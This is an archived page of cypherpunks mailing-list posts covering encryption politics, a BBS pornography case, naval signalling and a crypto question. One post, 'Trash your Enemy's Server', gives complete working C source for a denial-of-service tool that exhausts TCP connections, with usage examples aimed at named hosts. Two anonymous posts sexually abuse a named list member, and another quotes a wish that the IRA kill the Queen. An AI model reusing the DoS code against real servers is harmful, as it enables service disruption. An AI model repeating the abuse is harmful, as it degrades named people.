December 2003 - cypherpunks-legacy

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by SHIVAANI KUMAR 18 Dec '03

18 Dec '03

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[URGENT] Sphere packings
by nobody＠REPLAY.COM 18 Dec '03

18 Dec '03

Tim C[unt] May's 16Kb brain's single convolution is directly wired to his rectum for input and his T1 mouth for output. That's 16K bits, not bytes. Anal intercourse has caused extensive brain damage. /////// \-oo-/ Tim C[unt] May \--/ \/

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Re: NYT on German Net Police
by John Young 18 Dec '03

18 Dec '03

Robert Hettinga wrote: >> Recall a previous report that Kohl and other heads of state are >> to meet in Denver on June 20-22 to plan a global attack >> on "cyber-terrorism," including the spread of encryption: >> >> http://jya.com/denver.htm > >Wow. What an opportunity for street theater *that* might be... Excellent suggestion, Agent Provocateur (AP) Bob. There is surely a PR connection between the McVeigh trial and the cyber-terrorism summit. That promo's crucial for the counterterrorism juggernaut. Now, what would be the cyber-version of street theater? For examp, the security arrangements for the trial will be broadened, and artfully leaked to the Denver-ensconced and equipped media, to promote and protect the priceless Derrieres of State. But what might cyber-terribles do to work-a-round the highly classified meat protections? Confidential commo is crucial to yarping pols and talking heads, uplinks and unedited feeds are going to be zapping 'round the globe. What liberating theatrics could be exhibited spoofing, cracking, hacking, phreaking these urgent communiques to ardent tax-henchers and sofa-ensconced tubers. Denver's Judge Downes sent a missive in plaintext to IRS, a spit in the bucket another Bob said. What about a bigger oyster hawk at the lens and mikes of the leaders of the free worlds? Do nothing illegal, for sure, just civilly disobedient. (We'll put Downes's 17-age ruling up in a while.)

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Re: [CONTROVERSIAL]: A Defense of Terrorism
by Rich Graves 18 Dec '03

18 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I have reasonable doubts as to whether Paul Bradley <paul(a)fatmans.demon.co.uk> wrote: > > not! The major reason people can't live together is furnished by > > politicians who feel they should make it to history books ;-( > > Tims post made a good point, people soon forget the causes of conflict > and only see the effects, today, hardly anyone in the UK sees the IRA as > an organisation devoted to liberating NI, merely a bunch of thugs. Of > course they have brought this on themselves by indiscriminately blowing > things up. Talking of which the Queen is visiting Hastings (a town about > 5 miles from me) today, I hope the IRA blow her up... How many Irish nationalists do you know? The ones I know consider the IRA to be a bunch of thugs. Their attitude towards sympathizers in the US is similar to the attitude most Israelis have towards the kind of American wackos who killed Rabin. That's probably too nuanced for you, so to simplify: I think they're a bunch of thugs. They're just as thuggish towards "their own" as they are towards the Loyalists. Express a moderate or humanistic point of view in certain NI neighborhoods and the IRA thugs will make sure you're censored for good. AS Bill Frantz pithed a few weeks ago: the problem is not anarchy -- the problem is too many competing governments in one place. Thuggery isn't the answer to historical thuggery. - -rich http://www.stanford.edu/~llurch/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQBVAwUBM5is8ZNcNyVVy0jxAQGtVgIAgpdMWOvv76Pf9eByDe5PkOW+7TmJwKA3 bUeUtRO9ydymz35qkEp+zD2n16dX1qft52h4nqmkIEVh6hKTiM0Jyw== =TRvQ -----END PGP SIGNATURE-----

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by Mix 18 Dec '03

18 Dec '03

Now is the time for all good little boys to cum in Tim C. May's big mouth. >\\\|/< |_ ; (O) (o) -OOO--(_)--OOOo- Tim C. May

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Thomases lose appeal in second case
by Bill Stewart 18 Dec '03

18 Dec '03

Remember the Amateur Action BBS case from 1994, when Robert Thomas got convicted by a Federal court in Tennessee for distributing pornography on his BBS in California? Well, he was also prosecuted in Utah for distributing pornography from the BBS (the Merc doesn't say if it was a state or federal prosecution, but it looks like state), and he just lost his appeal in Federal court. One of his defense arguments was double jeopardy, and the court rejected that because the Utah court busted him for different pictures than the Tennessee court. While distributing child pornography is reprehensible, it's still none of Utah's business; the ACLU lawyer defending Thomas says there's no evidence that any Utah citizens actually downloaded any (except the police). # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list or news, please Cc: me on replies. Thanks.)

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FW: TV Commercial
by Roger J Jones 18 Dec '03

18 Dec '03

Having spent a fair amount of time on the high seas on gray ships I found the following interesting in that: 1) Back in WWII days Aldis lamps were a pretty good option. Unless you had a submerged enemy sub in your convoy you would most likely notice anyone who could intercept your communications. Since of course convoys could travel faster than submerged subs the exposure was also limited in time. Add of course the fact that most of the messages were in code, frequently unique for a given transit. 2) Consider the changes in today's environment: a) Image intensifying lenses make over the horizon (cloud bounce) reception possible. b) Subs can move faster underwater than most surface ships. c) Satellites could pick up the light pulses - either directly (if low horizon) or reflectively (off the water) d) I suppose that the right spectrum could also pick up the heat caused by the filament of the lamp. Of course, since it now takes about 45 gizillion people on a ship to "sign out" a message for release, the only messages that go out over Aldis lamps are the signalmen swapping scuttlebutt and sea stories in the name of "on the job training" "Fair winds and following seas!" An old salt. -----Original Message----- From: Bill Frantz [SMTP:frantz@netcom.com] Sent: Friday, June 06, 1997 11:13 AM Subject: Re: TV Commercial At 12:34 AM -0700 6/6/97, David Lucas wrote: >It's a nice thought, but the image is all wrong. Two ships communicating >via Aldis lamps (presumably, I haven't seen the ad) using Morse at a guess, >isn't what I would call very secure communication. Well, the Japanese managed to keep secure communications when sneeking up on Pearl Harbor, and I assume they used something similar for ship-to-ship communications. Narrow beam, and everyone who can receive is in sight is nice.

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by xmasterx＠juno.com 18 Dec '03

18 Dec '03

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Mixture Generation vs. Moduler Exponantion Approach?
by Jenjen 18 Dec '03

18 Dec '03

Recently I learned a new crypto algorithm--RPK (see www.rpk.co.nz) It's based on mixture generator (MG) approach and claims much faster than all existing public-key crypto-algorithms. But some people argue that MG is not much different from moduler exponantiation (ME) approach, which has been used in some existing crypto-algorithms. Therefore, RPK may not be that much faster than others. I'm new in this field and not sure whether these 2 approaches (Mixture Generation vs. Moduler Exponantiation) are very different or not? Can MG be much faster than ME or no much difference? Would you help me with these questions or point me to a right direction? I'd appreciate your help.

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Trash your Enemy's Server
by ichudov＠Algebra.COM 18 Dec '03

18 Dec '03

/***************************************************************************/ /* con_dos.c -- Denial Of Service by opening many dangling TCP Connections */ /* Copyright(C) 1997 Ignoramus_Chewed-Off(a)algebra.com */ /***************************************************************************/ const char * Usage = "Error: %s\n" "USAGE: %s (block|grind) hostname service# #connections\n" "\n" "This program opens #connections connections to the specified host.\n" "It can be used to deny services, slow down and crash Internet servers.\n" "\n" "If #connections is set to 0, it opens as many connections as it can\n" "and continues trying to do so as long as it runs. Use Control-C to \n" "interrupt it. NOTE that depending on your OS, it may hurt you too.\n" "\n" "If #connections is not 0, this program only opens #connections of them.\n" "After that, if the first argument is 'block', it simply sleeps. If the\n" "first argument is 'grind', it starts opening and closing connections\n" "in a round robin manner every second.\n" "\n" "This program is for EDUCATIONAL USE ONLY. Please do not use it for\n" "anything illegal. There is no warranty. Copyright(C) Ignoramus Chewed-Off.\n" "\n" "USE EXAMPLE: \n" " %s grind victim.com 80 1000\n" "-- opens 1000 HTTP connections to victim.com and waits\n" " %s block www.agis.net 80 0\n" "-- constantly attempts to open HTTP connections to www.agis.net\n" ; #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <netdb.h> #include <sys/socket.h> #include <netinet/in.h> #define USAGE( msg ) \ fprintf( stderr, Usage, msg, argv[0], argv[0], argv[0] ), \ exit( 1 ) /* after I open this many additional connections (for n_connections == 0), I wait for 1 second, just in case */ #define MAX_CONN 50 typedef enum { CON_BLOCK, CON_GRIND } ConMode; /* create a client socket connected to PORT on HOSTNAME */ int create_client_socket(char ** hostname, int port) { struct sockaddr_in sa ; struct hostent *hp ; int a, s ; long addr ; bzero(&sa, sizeof(sa)) ; if ((addr = inet_addr(*hostname)) != -1) { /* is Internet addr in octet notation */ bcopy(&addr, (char *) &sa.sin_addr, sizeof(addr)) ; /* set address */ sa.sin_family = AF_INET ; } else { /* do we know the host's address? */ if ((hp = gethostbyname(*hostname)) == NULL) { return -2 ; } *hostname = hp->h_name ; bcopy(hp->h_addr, (char *) &sa.sin_addr, hp->h_length) ; sa.sin_family = hp->h_addrtype ; } sa.sin_port = htons((u_short) port) ; if ((s = socket(sa.sin_family, SOCK_STREAM, 0)) < 0) { /* get socket */ return -1 ; } if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { /* connect */ close(s) ; return -1 ; } return s ; } int main( int argc, char *argv[] ) { char * name; int port, n_connections; int s; ConMode mode; if( argc != 5 || (argc >= 1 && (!strcmp( argv[1], "--help" ) || !strcmp( argv[1], "-help" )))) { USAGE( "Wrong Number of Arguments" ); } if( !strcmp( argv[1], "block" ) ) { mode = CON_BLOCK; } else if( !strcmp( argv[1], "grind" ) ) { mode = CON_GRIND; } else { USAGE( "First argument must be 'block' or 'grind'" ); } name = argv[2]; if( (port = atoi( argv[3] ) ) == 0 ) { USAGE( "Port Number must be numeric" ); } if( !isdigit( argv[4][0] ) ) { USAGE( "Port Number must be numeric" );; } n_connections = atoi( argv[4] ); if( n_connections == 0 ) /* infinite loop */ { int i = 0; printf( "ATTENTION: This may damage even your " "computer. Press ^C to abort\n" ); while( 1 ) { if( create_client_socket( &name, port ) == -1 ) { printf( "Connection refused; sleeping.\n" ); sleep( 1 ); } else { if( (i++ % MAX_CONN) == (MAX_CONN-1) ) { printf( "You can interrupt me here. I have %d " "connections open. \nContinuing...\n", i ); sleep( 1 ); } } } } else { int * fds = (int *)calloc( n_connections, sizeof( int ) ); int i = 0; if( fds == 0 ) USAGE( "Memory Allocation Error" ); while( 1 ) /* in a loop, keep opening descriptors */ { if( fds[i] != 0 ) { printf( "Closing %d...\n", i ); close( fds[i] ); sleep( 1 ); } while( 1 ) /* try to open the new one */ { if( (fds[i] = create_client_socket( &name, port )) == -1 ) { printf( "Connection refused; sleeping.\n" ); sleep( 1 ); } else { printf( "Opened %d.\n", i ); break; } } i++; if( i == n_connections ) /* we've gone full circle */ { printf( "Done with %d connections\n", i ); if( mode == CON_BLOCK ) { printf( "I am going to sleep forever...\n", i ); while( 1 ) sleep(1); } else /* repeating the loop */ i = 0; } } } }

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